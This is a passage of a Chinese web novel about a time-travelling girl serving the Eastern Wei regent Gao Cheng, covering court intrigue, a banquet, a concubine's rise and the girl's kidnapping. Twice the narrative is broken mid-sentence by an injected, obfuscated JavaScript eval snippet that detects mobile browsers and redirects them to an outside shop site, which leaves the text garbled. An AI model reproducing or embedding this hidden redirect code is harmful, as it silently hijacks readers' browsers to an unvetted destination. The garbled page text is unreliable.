其实方才陈扶也回过味了,高澄没要她回避,是没打算真做什么,见面若看上了,无非抛个橄榄枝出去。想来历史上他应该也只是调笑,没非要强的意思,不然怎么都‘衣尽破裂’了,尚能‘不从’呢? “大将军自然不惧流言。只是‘众口铄金,积毁销骨’,说得人多了,自然就都信了。他日史官难免记上一笔。” “史笔?那是写来糊弄后人的东西。”凤目一凛,“不过,我虽不在意,但若高慎真敢那般不安分……” 他收住话,将案头一封信函递给她,“那便如阿耶所谏,不日上表,外放其为豫州刺史,出镇虎牢。本想看在忠武将军份上,容他在邺下富贵终老,若不服威,便就给我在那闭塞之地,呆一辈子!” 陈扶展开那信,只略瞥了一眼。 她不用看信,她看过历史,李昌仪回去后,高澄强辱高慎之妻便传得沸沸扬扬,高慎自然也被外放了。 思忖片刻,终究提了一句,“虎牢乃制西之至要关隘,位置紧要,当真要令他去守?” “怎么?他还敢献关反了不成?” 他还真就献关反了,而且是刚到任就反了,引发了东西魏著名的邙山大战。 但陈扶没再多言。 因为邙山之战最终是东魏赢了,结果不坏,与其干预高慎这个导火索,不如干预那个在战场上明明能生擒宇文泰,却又将其放走的彭乐。 如果真能让那彭乐捉了宇文泰…… “想什么呢?”高澄点点她眉心,“小眉毛拧成川字了,一个高慎,也值得这般费神?” 正欲回话,帘栊响动,一人端着食盘低头而入。 陈扶心下一沉——是兰京。 她语气尽量放得寻常,笑问来人:“你是那个教我家奴婢莼羹的膳奴吧?怎么是你来送膳啊?” 兰京头垂得很低,声音闷闷的,“回女史,年节人手短缺,小的临时顶替。” 陈扶看他难掩落寞的姿态,不由滞住,可下一秒,却见那兰京抬眼瞥向高澄,那一眼满是恨意,像淬了毒的针,刺得陈扶心头那点怜悯倏忽消散。 她看向高澄,语气轻快,“大将军,他做得饭食那般好吃,也辛苦了一年,原也是有功的。大过年的,该让他也出去松散松散。譬如,寻个热闹处喝点酒,去温室泡泡澡什么的。” 如果他能出去,她便能寻机会动手。 “刘桃枝。”高澄扬声吩咐,“带他去戚里那个‘无垢池’好生享受享受,账记我名下。” 19.第19章 兰京头埋得更深,脖颈上的青筋微微凸起,声音硬邦邦的,“谢大将军厚赐,小的不去……”他猛地抬起头,眼中压抑的火焰终于窜起,“小的只求大将军开恩,准我赎身,放我回建康!我家中还有妻小……” “男人大丈夫,”高澄打断他,阳光在他俊美的脸上投下深影,“整日把‘家’挂在嘴边,念着那点炕头灶台的温情,能成什么气候?想要女人,我赐你一个便是。” “不必!” “不识抬举的东西。”高澄嗤笑一声,“那就下去,莫要在此扫兴。” 兰京胸膛剧烈起伏,猛地转身,撞开门帘负气而去。 看着那剧烈晃动的门帘,陈扶软声道:“大将军,既然他如此心念故土,强留无益,不如……就放他走吧?” 若能劝得高澄放他走,倒省了自己费心谋划,冒险杀人。 高澄回眸看她,“稚驹怎会说出这般不合时宜的话来?“ 东柏堂宴请南使,非兰京那手地道的江左风味不能彰显诚意。他是梁国降将,由他掌勺,若有姿态放得高的梁使,叫出来给看看,本身就是下马威。其手艺无有替代,身份关乎国体,岂能说放就放? 而她作为他的外交女史,若这点道理不通,岂不可笑? 但她仍不避讳,又道:“可他心不在此处,强留身边,犹如怀抱荆棘,就不怕……反受其祸么?” 高澄并未直接回答,他目光投向窗外,似乎穿过厚厚的窗纸,望向了极远的地方。 “小时候,我和兄兄、家家……”他顿了顿,意识到陈扶可能不懂,“就是阿耶,阿母。我和兄兄、家家在怀朔镇时,草海连绵,直铺天际,跑上一整天,也跑不出那片绿色。风吹过来,能看见里面藏着的牛羊,马匹。” 陈扶脑海随着这描述浮现出那壮阔之景,不禁轻声应和:“天苍苍,野茫茫,风吹草低见牛羊。” 高澄略显诧异,“你这汉家小女郎,竟也知晓我们鲜卑的敕勒歌?” “稚驹不仅知道,还会唱呢。只是不知……我学的调调,与大将军小时候听的是否一样。” 她所会的旋律,早已是千年流转、几经修饰后的了。 高澄来了兴致,往榻边悠然一靠,将手在腮下一托,笑吟吟望定她,“唱来听听。” 陈扶清了清嗓子,轻轻哼唱起来:“敕勒川,阴山下,天似穹庐,笼盖四野……”她声音稚嫩,却空灵穿透,唱到兴处,将后世添上的词也自然哼出,“篝火映着脸,醉了套马杆,心随天地走,寻找那达观……” 高澄眯眼听着,这调子比他们唱得婉转太多,心随天地走,寻找那达观,原歌里并无此意,但经她填唱,将草原纵马的豪情,化成了诗意与追寻,竟别有一番触动心肠的韵味。 午后稀薄的光线透过窗棂,柔和笼罩着她。黑亮的大眼仁像两汪幽深的泉,悠悠地映着他的影,被这样目光看着,那颗心就像是真的随着她走遍天地,看遍苍茫,寻到了生命之达观。 陈扶唱完,见他眼神不聚,晃了晃他胳膊。 高澄回过神来,心下正柔,反手握住她手,笑道,“稚驹唱得好极。” 陈扶却惦记着正事,追问道:“所以,这和兰京有何关系?” 高澄眸中那片迷醉被拉回现实,唇角重新噙起那抹残酷笑意,“自然有关。草原上驯马,就在如今这时节,将春未春,北风还硬得很,野马被捕获后,要立即骑乘上去。” 他眼神锐利,仿佛眼前真有一匹烈马,“它立,你便需后仰,它颠跳,你便需蹬紧马镫,借力化解。如此反复,直到它力竭汗涌,再也折腾不动。待其野性稍褪,便可逐步调教,直至彻底顺从你的驾驭。” “遇到驯不好的呢?” “性子格外暴烈的,无非多耗些时间,费些精力罢了。”他忽地倾身,指腹在她手背上摩挲,“小马儿,这世上,就没有驯不好的马,只有放手的人。” 陈扶沉默了。 他哪是在说驯马,他是在说,兰京迟早会驯服的。 她在高澄身边作女史已有两年光阴,足够她将他从里到外,看得分明。 高澄是雄杰,是能臣,更是个典型的政治生物。在他眼里,万物皆有其位,而人,与骏马、利刃并无不同,都不过是达成目标的工具,是棋盘上效能不一的棋子。 因在乎结果,所以深谙驯化驱使之道,自然极易成事。 可正因只在乎结果,不屑于体察人性之幽微,所以,他偶尔会看不准人。 - “他竟然真的敢反!” 高澄将一份急报狠狠掼在案上,凤眸烧着怒火,更有一丝隐晦的、自己看走眼的恼羞。半月前他还笃定那条‘虫’没胆子,结果刚上任便向宇文黑獭献了虎牢关! 简直像一记耳光,又快又响。 陈扶为他斟上清茶,慰道:“大将军息怒。高慎鼠目寸光,此番是自取灭亡,自从大王布局河阳三城以来,宇文泰的武川军凡东出至河阳、邙山一带,何时讨到过便宜?邙山实乃大魏之福地,此次,亦不会例外。” 高澄躁动的怒气在她肯定的语调中渐渐平息。 “那你觉得眼下该当如何?小王猛。” “除了于粮饷、后勤全力支援大王外,只怕还需将崔大人妥善藏匿起来。他已上呈弹劾勋贵的奏疏,虽还未彻查,但那些人必寻衅以待,借机发难;而为了稳定军心,大王恐怕不得不处置崔大人;更何况,高仲密此番谋叛的表面缘由,与崔大人看起来还真难脱干系,正是他们攻讦的绝佳借口。” 高澄低低一笑,“最称我心者,稚驹也。” 甘露迎上回府的陈扶,为她解下氅衣,“女郎今怎么回来得这般早?” “上司忙着‘藏人’,提前下职了。” 陈扶转向净瓶,“匿名信确定送到晋阳了?” “仙主放心,送到了。那浮浪人是个机灵的,亲眼见到郎君拿到信,才离开的。” 净瓶压低声音笑问,“仙主,那这下子……是不是就能活捉那宇文泰了呀?” 陈扶摇了摇头,“不过是尝试罢了。人若真能因几句谏言就改变,又何来‘性格决定命运’之说呢?” 当初她也曾命甘露写过匿名信,投到高敖曹将军府上,警示他河阳乃他之大劫之地,莫要临阵轻敌。很可惜,毫无用处。高敖曹还是因为看不起宇文泰,在战场上命人竖起旌旗、伞盖。 那无异于插标卖首,终是殒命。 而这次,依旧如她所料,最终什么也没能改变。 两个月后,高欢班师朝邺,战场的详细消息也传回了东柏堂。 当彭乐率领数千精锐骑兵,从北侧悍然冲入西魏左路军时,陈元康当即依她信上示警,建议高欢派兵紧随其后。 然而,因为有人奔至高欢马前,疾呼彭乐是临阵叛逃!高欢心中惊疑,唯恐派去的将领见势不妙也跟着反了,竟硬生生按下了增兵的念头。 陈扶得知此节,虽觉可惜,但亦能理解。这不过是乱世之中,主帅面对复杂人心时最正常的反应。 接下来发生的事,便与历史记载无异了。 勋贵们群情汹涌,要求严惩‘逼反’高慎的崔暹,高欢为安抚众将,扬言要斩杀崔暹。 高澄闻讯,急入别府为崔暹求情。 既然大战已胜,也就不必过度顾忌勋贵的抵制之音,高欢本也无意杀崔暹,顺着台阶就下,“看在你的面子上,我饶他一命!但我定要狠狠揍他一顿出气!” 高澄在放出崔暹前,警告陈元康,若让崔暹挨了这顿打,他高澄此生都不会再理他了。 陈元康早已认定高澄是他要效忠的明日之主,哪受得了这话,待到崔暹入别府,脱衣袒背准备领受杖责时,他瞅准时机,快步趋入,恳切劝言,“大王以天下托付世子,难道竟连一个崔暹都不让他保下吗?” 此言一出,直击要害,高欢长叹一声,终是宽免了崔暹。 - 夏日渐长,蝉鸣初噪。 高澄从文书里直起身子,瞥向书架前忙乎的陈扶,她今日穿了一袭浅水绿襦裙,看着便觉清凉。 “过来。” 不等她走近,便伸手将人揽到膝前,依着她头顶比了比,又端详她的脸,笑道:“长高了不少,只是这脸盘儿没怎么长开,还像六岁似得浑圆。”又道,“这裙子倒挺衬你。” 陈扶目光也落在他的宽衫上,唇角微弯,“大将军今日这衫如冷月入怀,衬得大将军巍巍然玉山将倾。”对上那双挑起的凤眸,“脸还似二十那年一般,艳色独绝。” “你这小词,一套一套的!”高澄被哄得开怀,正要再逗她两句,门外刘桃枝禀报,尚书左丞宋游道求见。 那宋游道入内,条理地汇报他欲弹劾咸阳王元坦、太保孙腾、司徒高隆之、司空侯景、录尚书元弼、尚书令司马子如等人利用公家金银放贷取息之事。 虽也是直面豪强,却并非崔暹那般一味刚直,言语间亦能体察时局之艰,显出其人情练达之处。 高澄听罢,赞叹:“好!我有卿与季伦,一人执掌南台,一人掌管北省,何愁天下不治,吏政不清!” 两人又就具体罪责细节商讨良久,直至刘桃枝再次入内提醒,三日前广阳王元湛曾下帖相邀,问是否赴宴。 高澄意兴阑珊,正欲摆手,宋游道却温言开口:“大将军,广阳王此番相邀,或是一片诚心。其父在世时,于游道有知遇之恩,游道与其相交甚久,知其乃性情中人,此番宴请,应是欲叙情分,非为请托。” 高澄略一沉吟,笑道:“既游道如此说,那便去坐坐。” 见高澄车驾至,广阳王元湛亲自扶车相迎,身后跟着彭城王元韶、襄城郡王元旭、高阳王元斌、元蛮等一众。 陈扶被高澄一把揽下车,扫了眼,都是此番未在崔暹、宋游道弹劾名单上的元氏子弟。 众人因在曲水流觞见过她,纷纷与她互礼笑语。 待看到宋游道,元湛眼中露出欢喜,执手唤了声“游道兄!”,宋游道亦含笑拍了拍他的手背,一切尽在不言中。 入得厅内,寒暄片刻,元湛便笑着命人呈上礼物。 给高澄的是一副画卷,予宋游道的是一方色如黑玉的古砚,就连陈扶,也给备了一套孤本《诗经》注疏,显然是因她善诗而投之所好。 他先对宋游道笑道,“游道兄,知你雅好,这方古砚,聊表心意。”又对高澄与陈扶道,“大将军,陈女史,些许薄礼,万勿推辞。” 高澄接过那幅卷轴展开,陈扶心头剧震,竟是顾恺之的人像真迹! 然而她终是控住了,面上只淡淡一扫,更在元湛将《诗经》注疏递来时,率先敛衽一礼,“广阳王厚意,稚驹心领。然此物贵重,且非应得,不敢承受。” 高澄在旁看着,眼中掠过欣慰。 虽皆是文玩雅物,非金银财帛,但此刻正值他大力整肃之风口,私相授受便是大忌。若连他身边最亲近的女史都欣然纳贡,他日何以约束他人? 于是他亦笑道:“太尉公美意,只是今日轻车简从,这等珍画,怕是受不得归途颠簸,就留在你这里吧。”宋游道更是直接拱手道,“游道职责在身,不能受赠。” 元湛见三人态度如此,笑容微僵,旋即恢复自然,从善如流地命人撤下礼物,“既如此,那便请大将军入席,咱们开宴乐饮!” 元湛此次宴请,看得出极尽用心。 不见任何金玉奢靡,却处处透着雅趣。 庭中竹帘半卷,席间所用器皿皆是越窑,各席后都置着冰鉴,丝丝凉气驱散暑意;更有数盆形态奇崛的盆景,可谓风雅而不张扬,珍稀却不落俗套。 开宴不多时,一歌姬抱着琵琶款步而来,蛾眉淡扫,皓齿微露,朝主位与宾客盈盈一礼,指尖拨动,开口吟唱,珠落玉盘之声顷刻流淌而出。 一曲《绿水歌》清越悠扬,时如幽涧流泉,时如莺语花底,闻者无不侧耳,心旌随之摇曳。 歌罢,元湛笑道:“此乃府中歌伎,善琵琶,尤工曲。”说罢示意她去高澄处伺候。 那歌姬目光在高澄面上一绕,便含笑起身,柔顺地走到高澄身侧跪坐。不仅为高澄斟酒,亦细心为陈扶夹菜,还将一盏蜜水推她手边,低声道:“小娘子请用。” 元湛提议行酒令助兴,几轮下来,席间气氛愈发活络,诸王言语间,便开始试探着诉苦,言及峻法之下已知晓其间厉害,大家都不敢了,希望大将军也能体恤一二,手下留情。 高澄把玩着酒盏,但笑不语,只将目光投向身侧的陈扶。 陈扶会意,回道:“世之廉者有三:见理明而不妄取,上也;尚名节而不苟取,其次也;畏法而不敢取,则勉强而然,斯又末次也。大将军所望,非是让诸位畏法而暂不敢取。乃是期望我等皆能砥砺明理,达那‘上廉’之境。如此,何愁家门不可久安,国运不能昌盛呢?” 她话音甫落,宋游道便温言接上,“陈女史所言,乃至理也。” 他举杯向元湛及诸王致意,“游道身在台谏,职责所在,纠劾不法,非为与诸位为难,实是为涤荡污浊,共扶社稷。诸位王爷皆国之栋梁,若能率先垂范,支持新政,则天下清风,自当从邺城始。届时,史笔如铁,记载的便是诸位安邦定国之功,而非区区货利之得失了。” 他二人一唱一和,一个陈说大义,一个恳切呼吁,既点明了高澄整顿吏治的决心不可动摇,又给了元氏诸王台阶和新的价值期许。 席间静默片刻,襄城王元旭忽长叹一声,举杯道:“陈女史,宋丞之言如醍醐灌顶!不瞒诸位,日前渤海王亦曾致书于我,言道:‘咸阳王、司马令皆是我做平民时门对门的老朋友,若论亲近,无人能出其右。可他们却同时获罪,我也不能救。’大将军为国纠察,一视同仁,我等又有何可辩?只当自觉约束门下,全力支持宋丞与崔御史!” 众人纷纷附和。 那歌姬在一旁,听得半懂不懂,却知是高澄一方占了上风,见他谈笑间掌控全局之风采,心中一动,斟酒喂食愈发殷勤,眼波流转,几乎黏在了高澄身上。 宴席终了,宋游道留下闲叙,高澄起身告辞。 他今日心情极佳,看那歌伎伺候妥帖,还能兼顾陈扶,比寻常的有眼色的多,遂大手一挥,解下腰间蹀躞带上系着的算囊。 随手抛入她怀中,将今日携带的所有金铤,尽数赏了她。 抱着那骤然坠手的锦囊,指尖陷入冰凉丝滑的织物,里面金块的棱角硌着手心,席间还残留着他身上清冽的降真香,这气味像带着钩子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595453|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钻进她鼻腔,也钻进她心里。 心头忽泛起一片错失的恐慌,心一横,牙一咬,她也顾不得礼数,提起裙裾便追了出去,在停牛车的暗巷口,‘扑通’一声跪倒在那人脚边。 来人跪在微湿的青石板上,呼吸因急促的奔跑和紧张而发颤。 高澄眉梢一挑,“怎么?赏赐的不够?” “不……奴不是为赏赐……”那歌伎眼中水光潋滟,是紧张,更是渴望,“奴……求大将军疼我!”说罢重重磕下头去。 “疼你?”高澄轻笑,语气带上玩味,“怎么疼你啊?” “只求大将军垂怜,把奴收在府里,便是平日听个曲子,解个闷儿,也能给大将军添些生趣。” 她将姿态放得极低,话语却清晰地传递出想做他妾室之意。 “将军府的门槛,可不是什么人都能迈进的。若只为听曲解闷,或一夜快……”高澄微顿,瞥了眼身侧的陈扶,收敛了措辞,“若只为生趣,无需收到房里。” 高澄露水之缘不少,也养过几个外妇,但能进将军府邸的,正妻元仲华是公主,自不必说;王氏出身太原王氏,宋氏是孝文帝那时的吏部尚书宋弁的孙女,皆是高门贵女。 那歌伎却极执拗,“求大将军给奴个机会!” 高澄觉得有些趣,“除了弹琵琶唱歌外,你还有何用?细细说来容我分辨分辨。” “奴……奴有用处的,奴会……” 她一时语塞,竟急出汗来,高澄莫名又多了几分耐心,瞥眼陈扶,引道:“方才席间,她讲的那些,你可能讲得出来?” 若能的话,许有教子之用? 谁知她还没答,身侧已传来语气微凉的小嗓,“大将军,这位姐姐貌似求的是妾室之位,不是女史之职吧?大将军这考核标准,怕是有些偏了。” 高澄被她一呛,也自觉失言,讪讪一笑。 歌伎转向陈扶的方向,语气诚切,“小娘子能言善道,奴万万不及。但……奴可以学!奴这手琵琶,这曲《绿水》,原也是下苦功学的。那经史诗文,奴也可以从头学起,奴身子康健,也会好好生养教导孩儿,定不辱没大将军门风!” “倒是有几分意思。” 感受到高澄的松动,那歌伎坦言表露心迹,“大将军,奴……奴并非只为寻个依靠。奴是对大将军……一见倾心。奴不想只是跟过大将军,是盼着……余生都能跟着大将军。” 陈扶忽想起了什么,插话问道:“你姓什么?” 歌伎虽不明所以,仍老实回答,“回小娘子,奴姓陈。” 广阳王的歌伎,还姓陈,那不就是历史上,高澄那个颇有出息的儿子高延宗的生母么?那看来终是会收了的,不,必须收了,高延宗以后于北齐之稳,还是很有用呢。 “大将军,稚驹以为,只要是心之所爱,必当竭尽全力。陈姐姐对大将军倾心至此,想来什么艰难都是可克服的,为何不给机会呢?” 高澄听那歌姬也姓陈,没来由平添了三分好感,又听陈扶为她说话,不由调侃,“你们姓陈的,还真是锐意进取。稚驹,你先上车。” 待陈扶回到车上,高澄将目光投回跪在地上的陈氏。 屈指托起她下颌,令她仰起脸来,细细打量,又微微用力,让那脸庞侧过,露出颈间细腻的肌肤。 “曲子弹得入耳,倒也算有几分艳色,”指尖若有似无地划过她滚烫的脸颊,“就是不知,褪了这身衣衫,躺在锦衾之间,能否也如你那琵琶一般,懂得轻重缓急,婉转迎送,若连尽兴之用都没有……” “大将军若不试试,怎知奴……不能让大将军称心?” 高澄眸色骤然一深,低笑出声,“那便试试。” - 寒暑易节,倏忽间已是武定二年春。 高欢巡行朝邺,百官相迎,万众瞩目之下,高欢紧握崔暹之手,赞他尽心为国,不畏豪强,使远近肃清,乃至说出“我高欢父子,无以为报”这种话。 崔暹谢恩时马惊了,高欢还亲自拦马授辔,种种礼遇,荣宠至极。 与去年此时欲杀之的他,可谓判若两人。 宋游道趁此东风,再上弹章,批驳尚书省各种违法事几百条,尚书省的高官王儒等人都受到鞭刑和叱责。连门下签名、记录早晚出入的旧制也得以恢复,台阁风气为之一肃。 四月丙辰,高欢返归晋阳,东柏堂的公务也暂松了。 刘桃枝将一碟精巧点心搁在案上,禀道:“是陈夫人托人送来给女郎的。” 陈扶看着那点心,对正批阅文书的高澄道:“陈姐姐身怀六甲,大将军回去该劝她静养,不必费心于此。” “嗯。她做的本也不合你口味,没必要勉强。” “请大将军代为转达,就说稚驹感念姐姐心意,甚为喜欢,但更牵挂姐姐与腹中孩儿的安康,望她务必珍重,勿以稚驹口腹为念。”陈扶撇撇嘴,“而不是说不合我口味。” 高澄从文书中抬起眼,哈哈一笑,“小东西,这么怕得罪人?”他放下笔,揉了揉眉心,显露出几分疲态。 “大将军,现下惩贪已有成效,稚驹想告假一日。” 去年到今年一直事务繁重,她都记不得多久没休沐了。 “行啊,我也休息一日,带你出门放放风。” “稚驹回府休息便好……” “回府有什么趣?”高澄站起身,舒展了一下筋骨,不由分说将她拉过,“走,我带你街上逛去,正好瞧瞧寒食节前市井热闹,给你买些东西。” 邺城街头,人流如织。 寒食在即,家家户户采办物料,高澄牵着陈扶的手,在摩肩接踵的人群中穿行。陈扶还是第一次与他这般闲逛,看着两旁热闹景象,倒也暂时忘却了疲惫。 就在穿过一个拥挤街口时,高澄的目光忽被斜前方一道身影牢牢吸住。 那是一个女子。 并非寻常意义上的美人,而是一种‘绝异’之美。她的肌肤异常白皙,鼻梁高挺,眼窝微深,一双眸子带着点浅淡的琉璃色,顾盼间流转着脆弱之感的风情。 她站在一个卖胡粉的摊子前,微微侧首,阳光落在她轮廓分明的侧脸上,仿佛自带光晕。 高澄瞬间燃起一种炽热的、纯属本能的欲念,他朝那女子疾步而去,握着陈扶的手在无意识间,松开了。 就在他松手的刹那,一股汹涌的人流冲挤而来! 陈扶只觉得手上一空,尚未反应过来,便被这股力量裹挟着,踉跄着与高澄隔开了数步之距。她个子矮小,瞬间淹没在成年人的腿股之间。 “大……”她刚想呼喊,口鼻却猛地被一块带着刺鼻气味的手帕死死捂住!一股巨大的力道从身后钳制住她,将她往旁边一条狭窄的暗巷里拖拽! 她奋力挣扎,用学剑术的招式自救,可那力气悬殊太大,视线迅速模糊,最后映入眼帘的,是熙攘人群中高澄那抹逐渐远去的、朝着相反方向追寻的背影。 高澄朝着那抹‘绝异’身影追了几步,人潮涌动,他心头涌起一阵莫名的焦躁,一道寒意猛地窜上脊背,惊醒过来。 手是空的! 他倏然回头,身后人来人往,哪里还有那个穿着浅色春衫的女童身影? “稚驹?!” 20.第20章 “稚驹?!” 高澄拧着眉,目光在周围攒动的人头里扫视。 “陈扶!” 仍不见那抹小身影。 “来人!” 他一声厉喝,几名原本散在人群中的亲卫,如猎豹般骤起,向他收缩靠拢,同时发出了尖锐的警示唿哨。 人群因这突如其来的哨声而微微骚动。 四散避让的缝隙里,两个身影没有丝毫犹豫,低着头,用一件寻常的男人外衫裹抱着一个不再动弹的小人儿,脚步迅疾地混在人流中,闪进了街口一条狭窄的暗巷。 “陈女史不见了,散开去找,她个子小,别漏了眼。” 命令完,高澄兀自站在原地,视线依旧不甘心地逡巡,总觉着下一刻,那小人儿就会从某个行人身后钻出来,带着点委屈喊他:“大将军,你怎么把我放开了?” 他便带她去方才那家胡商铺子,把她刚说不要,但分明多看了两眼的琉璃珠子、象牙梳篦都买下来,补偿他方才那一瞬间的松手。 “大将军,附近都找遍了,没有!” 亲卫急促的回报声,骤然砸碎了他脑海中的画面。 一丝不祥的预感,悄然缠上他的心脏。 不是简单的走散。 若是走散,以陈扶的聪颖,早该循声找回来了。 除非……她不能自己回来。 有人,在他的地盘,在他眼皮底下,动了他的人! “立即封锁这片区域!”高澄声音里温度褪尽,狠戾发令,“所有街口、巷口,只许进,不许出!” 话音未落,两名佩刀亲卫已冲向街角巡城司营房,高举京畿大都督符信;另一挤出人群上马绝尘而去,直扑城外驻军大营。 不到一刻钟,甲兵如潮涌至。 巡城司兵丁持戟封路,亲卫队纵马控场,里正被军士从茶肆拖出时,整条街巷已如铁幕垂落。 人群如沸水泼油,惊惶四起。货郎弃担,妇人躲避,几个莽汉试图冲卡,被森森矛戟逼退。 一校尉大喝:“奉大都督令,缉拿要犯!所有人原地待查,妄动者,以同谋论处!敢擅闯者,格杀勿论!” 望楼屋顶,弓弩手的身影悄然出现,瞄准了骚乱的人群。 街上瞬间死寂,只剩恐惧在无声蔓延。 高澄站在街心,原地设临时指挥点,监督盘查。 兵士持手令闯入封锁区内的每一户人家、商铺翻箱倒柜,任何可能藏匿的角落都不放过。 所有车辆一一盘查,人群则被驱赶到几个相对开阔的空地分开排列,士兵监看里正、坊主逐一指认。 亲卫高声询问:“有无三品以上官员?请出示印信,验明身份后,可优先盘查。”寥寥数人得以优先查看、脱身。 其余能被立刻认出的本地住户,经搜身盘问后被允许回家,但家门会被标记。 任何外来者、无人作保者,则被拘押在几处街角,由巡城司分开审问。所有搜出的绳索、女子饰物等可疑物都被集中摊放,供高澄检查。 “为何在此?”军士用刀鞘拨开一商贩的行李。 “小的、小的来送绢布……” “送往哪家?前一家又在何处?” 另一书吏同时记录着一妇人的供词,“你说来寻亲戚,可知他坊间门牌?” 几人的口供被迅速汇总比对,“你说辰时就在此地,他怎说巳时见你从南巷过来?” …… 突有人低喝:“这是什么?” 高澄闻声近前,却只是从醉汉怀里摸出的半包五石散,目光移向醉汉旁,被巡城司兵士推搡的女子。 女子垂着头,瑟瑟发抖,半幅衣袖被扯得松散,露出的一截小臂,白得晃眼。 “抬头。” 高澄低沉声音响起,兵士即刻退开肃立。 她抬起头来,似乎被这阵仗吓住了,那双琉璃色的眸子受惊小兽般茫然。 方才惊鸿一瞥的‘绝异’,此刻近在咫尺。 “名字?” “元……元玉仪。” 声如蚊蚋,睫羽急颤。 “为何在此?” “奴只是……只是想买些胡粉……”她下意识攥紧自己空无一物的手。 高澄视线在她手上停留一瞬,又滑向她松散的前襟,那里因方才兵士的粗鲁微微敞开着,眉梢一挑,换了问题:“家中还有何人?” “奴父母……早亡……如今,寄居在姐姐家中……” 她的语气带着无所依凭的飘零,眼神空洞,对自己的命运似乎毫无主张。 高澄伸手,用指尖拂开她散落在颊边的一缕乌发,掌中人猛地一颤,像受惊的蝴蝶,却不敢躲闪。 “既无家可归,便跟着我,可好?” 琉璃色的眸子里满是惊愕与无措,她看着他,看着这个似乎仅用一句话,就能给她一个落脚之地的俊美男人,嘴唇翕动了几下,最终,只是极轻地点了点头。 高澄唇角勾起抹极淡的弧度,对亲卫令道:“带下去,安置在城南那处宅子。” 元玉仪便就跟着走了,没有多问一句,高澄看着那纤细背影,心头一热,但旋即又被更深的寒意覆盖。 两刻多钟过去了,搜索仍一无所获! 人很可能已被带离了封锁区。 高澄眼底的寒意凝结成冰,叫来亲卫,“传令斛律光!立即带领禁军,接管邺城所有街巷!给我一寸一寸地搜!” 作为左右大都督,他有权调动禁军,禁军具有最高权限,可以闯入任何官邸、民宅,无人敢拦。 “传令高浚!关闭邺城所有城门!只许进,不许出。没有我的手令,一只苍蝇也不准放出去!” 作为京畿大都督,他有权调动城外驻军,一道道命令飞出:京畿兵于外围布下第二道封锁线,严查所有离开京畿的要道;监控所有水陆码头、城内帮派;几队骑兵被分派出城,沿官道疾驰追索…… 夜幕在肃杀中悄然降临。 本该禁火的寒食节,却火把如龙,兵马夜行,宛如战时。 高澄站在望楼上,冷声追令:“各队不许休息!给我彻夜搜!” 黎明。 东柏堂内烛火未熄,映着高澄眼底密布的血丝。 整整一夜,没有半点他想听到的消息。 他枯坐在陈扶常坐的那个位置,指尖摩挲着案几上的砚台,脑中不受控地浮现出各种画面:她已被杀害,随意弃于某处荒井,或被掩埋……或正遭受折磨,那双总是悠然的眼睛,充满恐惧…… “大将军,李氏求见。”刘桃枝小心翼翼道。 不等他回应,鬓发散乱、双目红肿的李孟春已不顾一切地冲了进来,她“扑通”一声跪倒在地,磕头不住,“大将军!求求你,一定要找到阿扶!她若有半点闪失,妾也活不成了……” 她的哭声像一把锉刀,反复刮擦着高澄本就紧绷的神经。 他感到一阵剧烈头痛,不耐与烦躁涌上心头,几乎要厉声出口,可目光触及李氏那崩溃模样,呵斥便堵在了喉里。 深吸一口气,焦虑被强制转化为更高效的行动。 “带李夫人去暖阁歇息,给我传尚书左丞宋游道!廷尉卿陆操!吏部尚书高隆之!” 一夜无功,人很可能已出京畿。 待三人应召而来。 “尚书省、廷尉府,所有休沐取消。将陈女史画像与特征下发至邺城及周边每一个里正、亭长。告诉他们,若在其辖地漏过线索,严惩不贷!” “高隆之,八百里加急,发文书至各州刺史,严查所有过往行人,尤其是车驾、箱笼,核验‘过所’必须人、证、物三者相符!” “公开悬赏:有提供准确线索致使寻回者,赏千金。有敢藏匿或伤害者,”凤目一凛,杀意骤起,“夷其三族!” 意识像沉在浑浊的水底,费力地挣扎上浮。 陈扶猛然睁眼,黑暗。 头颅欲裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599301|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,气流不畅,沉甸甸、压得人喘不过气的黑暗。 手脚皆被紧缚,双手反剪,粗糙麻绳深深勒进腕肉,带着汗酸和霉味的破布塞在嘴里,她被绑了。 恐慌如潮水袭来,但下一秒,她便强行压下了,不能乱,绝对不能乱! 动了动,头顶到了木板,是箱子里。 身下在摇晃,颠簸着,伴随着单调而令人牙酸的‘吱呀——吱呀——’声,是车轮在碾过不平的路面。 外面传来压低的交谈声。 一男人啐了一口,“这活真他爷爷的蚀本!过去塞几个五铢钱就能眉开眼笑,这一趟,光是贿赂那帮城门丘八,就快把到手的那半给折进去了!” “现才品过味儿来?我早说这是个烫手山芋,你非要接!要不是快了一步,真在搜城时被逮着……”嘶了声,“老子现在心里直突突,东边这地界,这辈子是别想回来了。” “开弓没有回头箭!只要把这‘货’安稳送出东边,做了,拿到那一半,也足够在西边过下半辈子了,回不来就回不来!” 高澄似乎在找她,这是希望,却也意味着,这两个亡命之徒绝不会放她了。 无从谈判,只能自救。 她艰难地在狭窄的箱里挪动,侧过头,用脸颊和肩膀感受着箱壁。 触到一处略微凸起的木楔棱角。 心一狠,将脑后束发的簪钗对准那棱角,摩擦、蹭动,头皮被扯得生疼,但她不敢停,不知过了多久,发髻一松,簪钗终于脱落! 反绑在背后的手艰难摸索着,终于,拾了起来,立即用钗子尖锐的末端,比着腕上的麻绳,一下、一下地磨蹭。 